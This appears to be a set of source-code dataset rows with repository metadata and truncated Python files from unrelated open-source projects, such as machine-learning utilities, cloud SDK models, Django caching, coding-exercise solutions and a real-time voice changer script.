910ceef698c8d92898c9fe96e28cd1560e616425 | 105 | py | Python | sklearn_extra/__init__.py | pcerda/scikit-learn-extra | 0e954932e3316f80a9eed7e17d39a48d1fb9fa81 | [
"BSD-3-Clause"
] | null | null | null | sklearn_extra/__init__.py | pcerda/scikit-learn-extra | 0e954932e3316f80a9eed7e17d39a48d1fb9fa81 | [
"BSD-3-Clause"
] | null | null | null | sklearn_extra/__init__.py | pcerda/scikit-learn-extra | 0e954932e3316f80a9eed7e17d39a48d1fb9fa81 | [
"BSD-3-Clause"
] | null | null | null | from . import kernel_approximation # noqa
from ._version import __version__
__all__ = ["__version__"]
| 17.5 | 42 | 0.771429 | from . import kernel_approximation # noqa
from ._version import __version__
__all__ = ["__version__"]
| 0 | 0 | 0 |
2fe79f421d44e3c5caf75726652fb8ec9c7fcbc6 | 420 | py | Python | flow/multiagent_envs/loop/loop_accel.py | SHITIANYU-hue/flow | 6fb5697868517fea7098a81b78c1be8e925f09f7 | [
"MIT"
] | 805 | 2018-08-16T22:30:51.000Z | 2022-03-31T09:25:50.000Z | flow/multiagent_envs/loop/loop_accel.py | SHITIANYU-hue/flow | 6fb5697868517fea7098a81b78c1be8e925f09f7 | [
"MIT"
] | 879 | 2018-08-22T17:37:06.000Z | 2022-03-29T01:06:11.000Z | flow/multiagent_envs/loop/loop_accel.py | SHITIANYU-hue/flow | 6fb5697868517fea7098a81b78c1be8e925f09f7 | [
"MIT"
] | 325 | 2018-08-22T06:48:00.000Z | 2022-03-21T15:09:04.000Z | """Pending deprecation file.
To view the actual content, go to: flow/envs/multiagent/ring/accel.py
"""
from flow.utils.flow_warnings import deprecated
from flow.envs.multiagent.ring.accel import AdversarialAccelEnv as MAAEnv
@deprecated('flow.multiagent_envs.loop.loop_accel',
'flow.envs.multiagent.ring.a... | 28 | 73 | 0.761905 | """Pending deprecation file.
To view the actual content, go to: flow/envs/multiagent/ring/accel.py
"""
from flow.utils.flow_warnings import deprecated
from flow.envs.multiagent.ring.accel import AdversarialAccelEnv as MAAEnv
@deprecated('flow.multiagent_envs.loop.loop_accel',
'flow.envs.multiagent.ring.a... | 0 | 0 | 0 |
d70644d41f71fa4b04bdd99e862745c567f8c804 | 51 | py | Python | tsx/datasets/__init__.py | MatthiasJakobs/tsx | 8a686ffd0af2f9f826d9ce11349e0fa0e883e897 | [
"MIT"
] | null | null | null | tsx/datasets/__init__.py | MatthiasJakobs/tsx | 8a686ffd0af2f9f826d9ce11349e0fa0e883e897 | [
"MIT"
] | null | null | null | tsx/datasets/__init__.py | MatthiasJakobs/tsx | 8a686ffd0af2f9f826d9ce11349e0fa0e883e897 | [
"MIT"
] | null | null | null | from .ucr import *
from .ett_small import ETTSmall
| 17 | 31 | 0.784314 | from .ucr import *
from .ett_small import ETTSmall
| 0 | 0 | 0 |
538d1d546ddf32f57af4675331067e74f1f46287 | 8,757 | py | Python | darling_ansible/python_venv/lib/python3.7/site-packages/oci/waas/models/captcha.py | revnav/sandbox | f9c8422233d093b76821686b6c249417502cf61d | [
"Apache-2.0"
] | null | null | null | darling_ansible/python_venv/lib/python3.7/site-packages/oci/waas/models/captcha.py | revnav/sandbox | f9c8422233d093b76821686b6c249417502cf61d | [
"Apache-2.0"
] | null | null | null | darling_ansible/python_venv/lib/python3.7/site-packages/oci/waas/models/captcha.py | revnav/sandbox | f9c8422233d093b76821686b6c249417502cf61d | [
"Apache-2.0"
] | 1 | 2020-06-25T03:12:58.000Z | 2020-06-25T03:12:58.000Z | # coding: utf-8
# Copyright (c) 2016, 2020, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 33.810811 | 296 | 0.645997 | # coding: utf-8
# Copyright (c) 2016, 2020, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 177 | 0 | 81 |
f57c8d37c19623baf30de4a9aab66c72384b6843 | 435 | py | Python | typeidea/typeidea/utils.py | birdywings/typeidea | d7ce276a7a823b4a9d50bf57edc07e002aa08863 | [
"MIT"
] | 1 | 2018-08-28T06:26:18.000Z | 2018-08-28T06:26:18.000Z | typeidea/typeidea/utils.py | birdywings/typeidea | d7ce276a7a823b4a9d50bf57edc07e002aa08863 | [
"MIT"
] | 2 | 2020-03-10T10:21:22.000Z | 2021-06-10T20:52:02.000Z | typeidea/typeidea/utils.py | birdywings/typeidea | d7ce276a7a823b4a9d50bf57edc07e002aa08863 | [
"MIT"
] | null | null | null | # coding:utf-8
from django.core.cache import cache
| 24.166667 | 49 | 0.567816 | # coding:utf-8
from django.core.cache import cache
def cache_it(func):
def wrapper(self, *args, **kwargs):
key = repr((func.__name__, args, kwargs))
if cache.get(key):
print('hit cache')
result = cache.get(key)
return result
print('hit database')
... | 359 | 0 | 23 |
851abbca960d50bb4b8332f02ca591c7f0ba31ca | 2,926 | py | Python | saas/backend/biz/resource_creator_action.py | nannan00/bk-iam-saas | 217600fa6e5fd466fff9c33c20c4dbd7c69f77d9 | [
"MIT"
] | null | null | null | saas/backend/biz/resource_creator_action.py | nannan00/bk-iam-saas | 217600fa6e5fd466fff9c33c20c4dbd7c69f77d9 | [
"MIT"
] | null | null | null | saas/backend/biz/resource_creator_action.py | nannan00/bk-iam-saas | 217600fa6e5fd466fff9c33c20c4dbd7c69f77d9 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-权限中心(BlueKing-IAM) available.
Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with th... | 42.405797 | 115 | 0.714627 | # -*- coding: utf-8 -*-
"""
TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-权限中心(BlueKing-IAM) available.
Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with th... | 0 | 2,200 | 46 |
fc963af42c77196a78dfba866df306c2a3cec938 | 1,288 | py | Python | ctftool/decode.py | leohammer123/discord-bot | 686e909780143613ed4dd71dd3c9016ea96dccc8 | [
"MIT"
] | 4 | 2021-11-16T12:25:54.000Z | 2022-01-16T13:38:40.000Z | ctftool/decode.py | leohammer123/discord-bot | 686e909780143613ed4dd71dd3c9016ea96dccc8 | [
"MIT"
] | null | null | null | ctftool/decode.py | leohammer123/discord-bot | 686e909780143613ed4dd71dd3c9016ea96dccc8 | [
"MIT"
] | 1 | 2021-12-15T15:09:09.000Z | 2021-12-15T15:09:09.000Z | from Crypto.Util.number import *
import requests
import json
import codecs
import base64 | 21.114754 | 60 | 0.610248 | from Crypto.Util.number import *
import requests
import json
import codecs
import base64
def rsapq(p:int , q:int , e:int , ct:int) -> int:
p = int(p)
q = int(q)
e = int(e)
ct = int(ct)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return ... | 993 | 0 | 207 |
c60186aa8bce4af69485668bc0a9942218841afb | 2,912 | py | Python | test04.py | OskarBreach/advent-of-code-2018 | 10887873d988df699e7ebe83d39511b3303ccf38 | [
"MIT"
] | null | null | null | test04.py | OskarBreach/advent-of-code-2018 | 10887873d988df699e7ebe83d39511b3303ccf38 | [
"MIT"
] | null | null | null | test04.py | OskarBreach/advent-of-code-2018 | 10887873d988df699e7ebe83d39511b3303ccf38 | [
"MIT"
] | null | null | null | import unittest
import random
from day04 import Guard, get_guard_patterns,get_guard_most_asleep, guard_most_frequently_asleep
if __name__ == "__main__":
unittest.main()
| 42.202899 | 109 | 0.598214 | import unittest
import random
from day04 import Guard, get_guard_patterns,get_guard_most_asleep, guard_most_frequently_asleep
class GuardAsleepTests(unittest.TestCase):
def setUp(self):
self.records = ["[1518-11-01 00:00] Guard #10 begins shift",
"[1518-11-01 00:05] falls asleep",
... | 2,341 | 21 | 373 |
b51f9ca3008a6a0b5b790ef2446f3809e260f56e | 84 | gyp | Python | shmnode/binding.gyp | MakarenaLabs/Shared-Memory-NodeJS-Demo-Server | 345c7c4866d16290333994ebf7d00800a9c2c156 | [
"MIT"
] | 6 | 2021-09-15T14:28:44.000Z | 2022-02-04T05:33:23.000Z | shmnode/binding.gyp | MakarenaLabs/Shared-Memory-NodeJS-Demo-Server | 345c7c4866d16290333994ebf7d00800a9c2c156 | [
"MIT"
] | null | null | null | shmnode/binding.gyp | MakarenaLabs/Shared-Memory-NodeJS-Demo-Server | 345c7c4866d16290333994ebf7d00800a9c2c156 | [
"MIT"
] | 1 | 2021-06-04T06:37:48.000Z | 2021-06-04T06:37:48.000Z | {
"targets": [
{
"target_name": "shmnode",
"sources": ["shm.cpp"]
}
]
}
| 9.333333 | 28 | 0.452381 | {
"targets": [
{
"target_name": "shmnode",
"sources": ["shm.cpp"]
}
]
}
| 0 | 0 | 0 |
de7eca04602d2d054043fb59d43ab0e24ade8158 | 672 | py | Python | examples/cloud-discovery/hazelcast_cloud_discovery_example.py | tonytheonlypony/hazelcast-python-client | 3aafeaf2ebc05aee4f2386c62c079db496a7c81f | [
"Apache-2.0"
] | 98 | 2015-12-08T14:26:27.000Z | 2022-03-23T17:44:11.000Z | examples/cloud-discovery/hazelcast_cloud_discovery_example.py | tonytheonlypony/hazelcast-python-client | 3aafeaf2ebc05aee4f2386c62c079db496a7c81f | [
"Apache-2.0"
] | 396 | 2016-02-23T11:07:55.000Z | 2022-03-31T14:26:34.000Z | examples/cloud-discovery/hazelcast_cloud_discovery_example.py | tonytheonlypony/hazelcast-python-client | 3aafeaf2ebc05aee4f2386c62c079db496a7c81f | [
"Apache-2.0"
] | 62 | 2015-12-09T11:20:53.000Z | 2022-01-28T01:30:54.000Z | import hazelcast
client = hazelcast.HazelcastClient(
# Set up cluster name for authentication
cluster_name="YOUR_CLUSTER_NAME",
# Set the token of your cloud cluster
cloud_discovery_token="YOUR_CLUSTER_DISCOVERY_TOKEN",
# If you have enabled encryption for your cluster, also configure TLS/SSL for t... | 29.217391 | 93 | 0.72619 | import hazelcast
client = hazelcast.HazelcastClient(
# Set up cluster name for authentication
cluster_name="YOUR_CLUSTER_NAME",
# Set the token of your cloud cluster
cloud_discovery_token="YOUR_CLUSTER_DISCOVERY_TOKEN",
# If you have enabled encryption for your cluster, also configure TLS/SSL for t... | 0 | 0 | 0 |
f123833462f290fa235ac9ab1673714086d036ca | 1,159 | py | Python | model_template/models.py | sauravmandal255/EmotionDetect | f5551a7b154e29a5b3baf7540ec4909030ec6966 | [
"Apache-2.0"
] | null | null | null | model_template/models.py | sauravmandal255/EmotionDetect | f5551a7b154e29a5b3baf7540ec4909030ec6966 | [
"Apache-2.0"
] | 2 | 2020-10-02T09:56:13.000Z | 2020-10-02T10:16:58.000Z | model_template/models.py | sauravmandal255/EmotionDetect | f5551a7b154e29a5b3baf7540ec4909030ec6966 | [
"Apache-2.0"
] | 5 | 2020-10-02T09:39:38.000Z | 2020-10-19T18:34:19.000Z | # importing libraries
from keras.layers import Dense , Dropout ,Flatten , MaxPooling2D
from keras.models import Model
# define model
# importing MobileNet_v2 for higher accuracy
from keras.applications import MobileNetV2
mobile = MobileNetV2(input_shape=(224,224,3),include_top=False,weights='imagenet')
#print(mobile.... | 30.5 | 91 | 0.739431 | # importing libraries
from keras.layers import Dense , Dropout ,Flatten , MaxPooling2D
from keras.models import Model
# define model
# importing MobileNet_v2 for higher accuracy
from keras.applications import MobileNetV2
mobile = MobileNetV2(input_shape=(224,224,3),include_top=False,weights='imagenet')
#print(mobile.... | 0 | 0 | 0 |
d61347979766726507e4443ffc6dc5cc36b0c3e2 | 1,881 | py | Python | visualiser/facades/ociTenancy.py | antoniogomezr/oci-designer-tookit | 0f8756bf778cbbc923df2020ea11cf384e855590 | [
"UPL-1.0",
"Apache-2.0"
] | null | null | null | visualiser/facades/ociTenancy.py | antoniogomezr/oci-designer-tookit | 0f8756bf778cbbc923df2020ea11cf384e855590 | [
"UPL-1.0",
"Apache-2.0"
] | null | null | null | visualiser/facades/ociTenancy.py | antoniogomezr/oci-designer-tookit | 0f8756bf778cbbc923df2020ea11cf384e855590 | [
"UPL-1.0",
"Apache-2.0"
] | 1 | 2022-01-05T19:58:10.000Z | 2022-01-05T19:58:10.000Z | #!/usr/bin/python
# Copyright (c) 2020, Oracle and/or its affiliates.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl.
"""Provide Module Description
"""
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
__author__ = ["And... | 35.490566 | 139 | 0.636364 | #!/usr/bin/python
# Copyright (c) 2020, Oracle and/or its affiliates.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl.
"""Provide Module Description
"""
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
__author__ = ["And... | 1,038 | 19 | 179 |
78e1e77e0b12c7d0cbe4e329c294e1cbed66ae28 | 445 | py | Python | crush.py | alaz/hackerrank | 5669360baeb009fcd66161af4bc6c15b56aaa69e | [
"Unlicense"
] | null | null | null | crush.py | alaz/hackerrank | 5669360baeb009fcd66161af4bc6c15b56aaa69e | [
"Unlicense"
] | null | null | null | crush.py | alaz/hackerrank | 5669360baeb009fcd66161af4bc6c15b56aaa69e | [
"Unlicense"
] | null | null | null | #!/bin/python3
# https://www.hackerrank.com/challenges/crush
import sys
if __name__ == "__main__":
n, m = input().strip().split(' ')
n, m = [int(n), int(m)]
arr = [0] * (n+1)
for a0 in range(m):
a, b, k = input().strip().split(' ')
a, b, k = [int(a), int(b), int(k)]
arr[a-1] +... | 19.347826 | 45 | 0.442697 | #!/bin/python3
# https://www.hackerrank.com/challenges/crush
import sys
if __name__ == "__main__":
n, m = input().strip().split(' ')
n, m = [int(n), int(m)]
arr = [0] * (n+1)
for a0 in range(m):
a, b, k = input().strip().split(' ')
a, b, k = [int(a), int(b), int(k)]
arr[a-1] +... | 0 | 0 | 0 |
ff8fa67bdf27070f23d87be4ecbca010299a49be | 553 | py | Python | examples/globals.py | quynhanh-ngx/pytago | de976ad8d85702ae665e97978bc4a75d282c857f | [
"MIT"
] | 206 | 2021-06-24T16:16:13.000Z | 2022-03-31T07:44:17.000Z | examples/globals.py | quynhanh-ngx/pytago | de976ad8d85702ae665e97978bc4a75d282c857f | [
"MIT"
] | 13 | 2021-06-24T17:51:36.000Z | 2022-02-23T10:07:17.000Z | examples/globals.py | quynhanh-ngx/pytago | de976ad8d85702ae665e97978bc4a75d282c857f | [
"MIT"
] | 14 | 2021-06-26T02:19:45.000Z | 2022-03-30T03:02:49.000Z | SITE = "https://www.google.com/"
NAME = ["Michael", "Wayne", "Phelps"]
KEYS = {1: 2, 3: 4}
AGE = 1000
BIRTH_YEAR = 2050
if __name__ == '__main__':
main()
| 17.83871 | 66 | 0.616637 | SITE = "https://www.google.com/"
NAME = ["Michael", "Wayne", "Phelps"]
KEYS = {1: 2, 3: 4}
AGE = 1000
BIRTH_YEAR = 2050
def main():
global AGE
print(SITE)
print(NAME)
print(BIRTH_YEAR)
print(KEYS)
print(AGE)
AGE = 20 # This should use the variable from the global scope
other_1()
p... | 322 | 0 | 69 |
4b93f120a848c1c50fad55efc489430019f891af | 1,077 | py | Python | data/vision_data_aug/gaussian_augment.py | jihuacao/Putil | b753fc94bea4cbda00f483681c55f0e9f54adef2 | [
"Apache-2.0"
] | 1 | 2018-12-09T06:09:29.000Z | 2018-12-09T06:09:29.000Z | data/vision_data_aug/gaussian_augment.py | jihuacao/Putil | b753fc94bea4cbda00f483681c55f0e9f54adef2 | [
"Apache-2.0"
] | null | null | null | data/vision_data_aug/gaussian_augment.py | jihuacao/Putil | b753fc94bea4cbda00f483681c55f0e9f54adef2 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
import numpy as np
import time
# Putil
import data.augment as paug
import base.logger as plog
GaussianAugmentLogger = plog.PutilLogConfig('gaussian_augment').logger()
GaussianAugmentLogger.setLevel(plog.DEBUG)
class GaussianAugment(paug.Augment):
'''
config:
mu: []
sigma: []
... | 22.4375 | 72 | 0.547818 | # coding=utf-8
import numpy as np
import time
# Putil
import data.augment as paug
import base.logger as plog
GaussianAugmentLogger = plog.PutilLogConfig('gaussian_augment').logger()
GaussianAugmentLogger.setLevel(plog.DEBUG)
class GaussianAugment(paug.Augment):
'''
config:
mu: []
sigma: []
... | 47 | 0 | 26 |
a7912021911ee6d3a42095a6cc977843839e4d72 | 7,078 | py | Python | lightly/openapi_generated/swagger_client/models/configuration_entry.py | umami-ware/lightly | 5d70b34df7f784af249f9e9a6bfd6256756a877f | [
"MIT"
] | 1,515 | 2020-10-05T13:04:17.000Z | 2022-03-31T16:14:55.000Z | lightly/openapi_generated/swagger_client/models/configuration_entry.py | umami-ware/lightly | 5d70b34df7f784af249f9e9a6bfd6256756a877f | [
"MIT"
] | 628 | 2020-10-14T11:38:51.000Z | 2022-03-31T14:40:54.000Z | lightly/openapi_generated/swagger_client/models/configuration_entry.py | umami-ware/lightly | 5d70b34df7f784af249f9e9a6bfd6256756a877f | [
"MIT"
] | 108 | 2020-10-17T08:31:06.000Z | 2022-03-20T16:44:22.000Z | # coding: utf-8
"""
Lightly API
Lightly.ai enables you to do self-supervised learning in an easy and intuitive way. The lightly.ai OpenAPI spec defines how one can interact with our REST API to unleash the full potential of lightly.ai # noqa: E501
OpenAPI spec version: 1.0.0
Contact: support@lightly... | 33.386792 | 220 | 0.62221 | # coding: utf-8
"""
Lightly API
Lightly.ai enables you to do self-supervised learning in an easy and intuitive way. The lightly.ai OpenAPI spec defines how one can interact with our REST API to unleash the full potential of lightly.ai # noqa: E501
OpenAPI spec version: 1.0.0
Contact: support@lightly... | 0 | 0 | 0 |
bbac98a6b73b2c4a22483008b742a23918419eb1 | 1,405 | py | Python | post-analysis/pos_ner_vocab_on_dataset.py | nefujiangping/paper-HG | 8c448da2d00f1166d2f9992bb06f5b5f140058c6 | [
"Apache-2.0"
] | null | null | null | post-analysis/pos_ner_vocab_on_dataset.py | nefujiangping/paper-HG | 8c448da2d00f1166d2f9992bb06f5b5f140058c6 | [
"Apache-2.0"
] | null | null | null | post-analysis/pos_ner_vocab_on_dataset.py | nefujiangping/paper-HG | 8c448da2d00f1166d2f9992bb06f5b5f140058c6 | [
"Apache-2.0"
] | null | null | null | import glob
import collections
import os
in_path = '/media/jayson/software/WS/preprocessed/preprocessed/*'
vocab_root = '/media/jayson/study/graduation project/paper/experimens/moldes-May'
pos_vocab_counter = collections.Counter()
ner_vocab_counter = collections.Counter()
file_list = glob.glob(in_path)
for idx, fil... | 35.125 | 81 | 0.724555 | import glob
import collections
import os
def file_content(file_name):
lines = []
with open(file_name, 'r') as file:
for line in file:
lines.append(line)
lines = [line.strip() for line in lines]
return lines
in_path = '/media/jayson/software/WS/preprocessed/preprocessed/*'
vocab_root = '/media/jayson/study/g... | 153 | 0 | 23 |
d9a6901c16c6c0280a71425e237d5deb0d9285ef | 1,754 | py | Python | examples/adwords/v201509/basic_operations/remove_ad_group.py | fosterwei/adwords-keyword-planner-API-googleads-python-lib | b80b8b3741a55f1d00c5974bc58f92540663c6f6 | [
"Apache-2.0"
] | 1 | 2020-05-23T11:32:32.000Z | 2020-05-23T11:32:32.000Z | examples/adwords/v201509/basic_operations/remove_ad_group.py | fosterwei/adwords-keyword-planner-API-googleads-python-lib | b80b8b3741a55f1d00c5974bc58f92540663c6f6 | [
"Apache-2.0"
] | null | null | null | examples/adwords/v201509/basic_operations/remove_ad_group.py | fosterwei/adwords-keyword-planner-API-googleads-python-lib | b80b8b3741a55f1d00c5974bc58f92540663c6f6 | [
"Apache-2.0"
] | 2 | 2018-04-20T02:16:33.000Z | 2020-11-12T20:58:54.000Z | #!/usr/bin/python
#
# Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 29.728814 | 77 | 0.721209 | #!/usr/bin/python
#
# Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 521 | 0 | 23 |
d15289806104fe58d05efb6643f580bfa9ee6b7e | 3,186 | py | Python | FinalExam/mit_campus.py | purelind/MITx-6.00.1x | 9286777ee4d40062a7e27ffb1cf0233c8aa85df8 | [
"MIT"
] | null | null | null | FinalExam/mit_campus.py | purelind/MITx-6.00.1x | 9286777ee4d40062a7e27ffb1cf0233c8aa85df8 | [
"MIT"
] | null | null | null | FinalExam/mit_campus.py | purelind/MITx-6.00.1x | 9286777ee4d40062a7e27ffb1cf0233c8aa85df8 | [
"MIT"
] | null | null | null |
class MITCampus(Campus):
""" A MITCampus is a Campus that contains tents """
def __init__(self, center_loc, tent_loc=Location(0, 0)):
""" Assumes center_loc and tent_loc are Location objects
Initializes a new Campus centered at location center_loc
with a tent at location tent_loc """... | 33.893617 | 82 | 0.602009 | class Location(object):
def __init__(self, x, y):
self.x = x
self.y = y
def move(self, deltaX, deltaY):
return Location(self.x + deltaX, self.y + deltaY)
def getX(self):
return self.x
def getY(self):
return self.y
def dist_from(self, other):
xDist ... | 757 | 2 | 316 |
67269cb3369e12d140f209a6bf92e53ce73e7a00 | 17,290 | py | Python | src/thermostat/data/dataset_utils.py | MNasert/thermostat-1 | 983a1121687e0abfb70f874a6d36b1597d8012a4 | [
"Apache-2.0"
] | null | null | null | src/thermostat/data/dataset_utils.py | MNasert/thermostat-1 | 983a1121687e0abfb70f874a6d36b1597d8012a4 | [
"Apache-2.0"
] | null | null | null | src/thermostat/data/dataset_utils.py | MNasert/thermostat-1 | 983a1121687e0abfb70f874a6d36b1597d8012a4 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import os
# new change
from sys import platform
# new change
from datasets import Dataset, load_dataset
from itertools import groupby
from overrides import overrides
from sklearn.metrics import classification_report
from tqdm import tqdm
from transformers import AutoTokenizer
from typing import Dict... | 45.862069 | 120 | 0.640544 | import numpy as np
import os
# new change
from sys import platform
# new change
from datasets import Dataset, load_dataset
from itertools import groupby
from overrides import overrides
from sklearn.metrics import classification_report
from tqdm import tqdm
from transformers import AutoTokenizer
from typing import Dict... | 4,071 | 3,849 | 290 |
b376c05b882ae268e69fa43b321af307310dbaec | 1,540 | py | Python | view/psSliderParam.py | FiRMLAB-Pisa/pySynthMRI | 406a34a98c8924552ac46a2303d256b603447e39 | [
"MIT"
] | null | null | null | view/psSliderParam.py | FiRMLAB-Pisa/pySynthMRI | 406a34a98c8924552ac46a2303d256b603447e39 | [
"MIT"
] | null | null | null | view/psSliderParam.py | FiRMLAB-Pisa/pySynthMRI | 406a34a98c8924552ac46a2303d256b603447e39 | [
"MIT"
] | 1 | 2022-02-24T08:51:43.000Z | 2022-02-24T08:51:43.000Z | from PyQt5.QtCore import Qt
from PyQt5.QtGui import QFont
from PyQt5.QtWidgets import QWidget, QHBoxLayout, QLabel, QSlider
class PsSliderParam(QWidget):
"""
Class defining slider QWidget comprehensive of slider name, activation checkbox and value label
"""
| 25.245902 | 99 | 0.594805 | from PyQt5.QtCore import Qt
from PyQt5.QtGui import QFont
from PyQt5.QtWidgets import QWidget, QHBoxLayout, QLabel, QSlider
class PsSliderParam(QWidget):
"""
Class defining slider QWidget comprehensive of slider name, activation checkbox and value label
"""
def __init__(self,
label,
... | 1,214 | 0 | 53 |
444835ae7d7123c31d56972b5d5066b02ab49e15 | 539 | py | Python | woordener/extract.py | luisparravicini/woordener | d404cd366ed0e7a1fa8f6eac90185364d4f85d3d | [
"MIT"
] | null | null | null | woordener/extract.py | luisparravicini/woordener | d404cd366ed0e7a1fa8f6eac90185364d4f85d3d | [
"MIT"
] | null | null | null | woordener/extract.py | luisparravicini/woordener | d404cd366ed0e7a1fa8f6eac90185364d4f85d3d | [
"MIT"
] | null | null | null | from .page_handler import parse_xml
import re
| 22.458333 | 71 | 0.625232 | from .page_handler import parse_xml
import re
def extract_section(data):
result = None
m = re.search(r'==Dutch==\s*(.+?)(?:\s+==[^=]|$)', data, re.DOTALL)
if m is not None:
result = m.group(1)
return result
def extract(path, collector):
c = lambda x: _prepare_section(x, collector)
p... | 421 | 0 | 69 |
62ae4c652dc96c3201fd60914c5b8fb00395de1d | 438 | py | Python | tests/test_utils.py | yaming116/uiautomator2 | 3df7203e19f96134b14d05c15eb7a4c40dbdaef7 | [
"MIT"
] | 2 | 2019-12-06T06:42:08.000Z | 2019-12-19T02:52:10.000Z | tests/test_utils.py | anyhe2008/uiautomator2 | 321490b4f962fe1f299e9a87df35c9cfb9098f5e | [
"MIT"
] | null | null | null | tests/test_utils.py | anyhe2008/uiautomator2 | 321490b4f962fe1f299e9a87df35c9cfb9098f5e | [
"MIT"
] | 1 | 2020-06-05T16:59:21.000Z | 2020-06-05T16:59:21.000Z | # coding: utf-8
#
from uiautomator2 import utils | 31.285714 | 91 | 0.547945 | # coding: utf-8
#
from uiautomator2 import utils
def test_list2cmdline():
testdata = [
[("echo", "hello"), "echo hello"],
[("echo", "hello&world"), "echo 'hello&world'"],
[("What's", "your", "name?"), """'What'"'"'s' your 'name?'"""]
]
for args, expect in testdata:
cmdline ... | 366 | 0 | 23 |
740f25613617e491a8e51a82a899cd559d97558e | 382 | py | Python | windows/models/processing/Process.py | TCC-Descricao-de-Ambientes/tcc-descricao-ambientes | c50e22524472f777f480b0f0c183bde0f8293270 | [
"MIT"
] | 1 | 2020-10-07T02:48:14.000Z | 2020-10-07T02:48:14.000Z | windows/models/processing/Process.py | TCC-Descricao-de-Ambientes/tcc-descricao-ambientes | c50e22524472f777f480b0f0c183bde0f8293270 | [
"MIT"
] | 1 | 2021-03-20T22:35:42.000Z | 2021-03-20T22:35:43.000Z | windows/models/processing/Process.py | TCC-Descricao-de-Ambientes/descricao-espacial-qualitativa | c50e22524472f777f480b0f0c183bde0f8293270 | [
"MIT"
] | null | null | null | from models.req.Req import Req
from models.object_detection.ObjectDetection import ObjectDetection
| 23.875 | 67 | 0.659686 | from models.req.Req import Req
from models.object_detection.ObjectDetection import ObjectDetection
class Process:
def __init__(self, path):
self.object_detection = ObjectDetection(path)
def run(self):
objects = self.object_detection.run()
self.req = Req(objects)
return self... | 177 | -7 | 112 |
98fb798bbc21e71c3c86978d4b41b047a4944e2d | 2,276 | py | Python | vc-real-time-voice-changer/RealTime.py | alierfanianomidvar/voice-changer | adb6987f432fb0efac6aa1265773741907b7fe6b | [
"MIT"
] | null | null | null | vc-real-time-voice-changer/RealTime.py | alierfanianomidvar/voice-changer | adb6987f432fb0efac6aa1265773741907b7fe6b | [
"MIT"
] | null | null | null | vc-real-time-voice-changer/RealTime.py | alierfanianomidvar/voice-changer | adb6987f432fb0efac6aa1265773741907b7fe6b | [
"MIT"
] | null | null | null | import pyaudio
import numpy as np
import wave
import time
CHUNK = 2048
RATE = 32000
FORMAT = pyaudio.paInt16
CHANNEL = 1
SHIFT = 50
""" recording """
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNEL, rate=RATE, input=True, output=True, frames_per_buffer=CHUNK)
print("start... | 34.484848 | 134 | 0.666081 | import pyaudio
import numpy as np
import wave
import time
CHUNK = 2048
RATE = 32000
FORMAT = pyaudio.paInt16
CHANNEL = 1
SHIFT = 50
""" recording """
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNEL, rate=RATE, input=True, output=True, frames_per_buffer=CHUNK)
print("start... | 0 | 0 | 0 |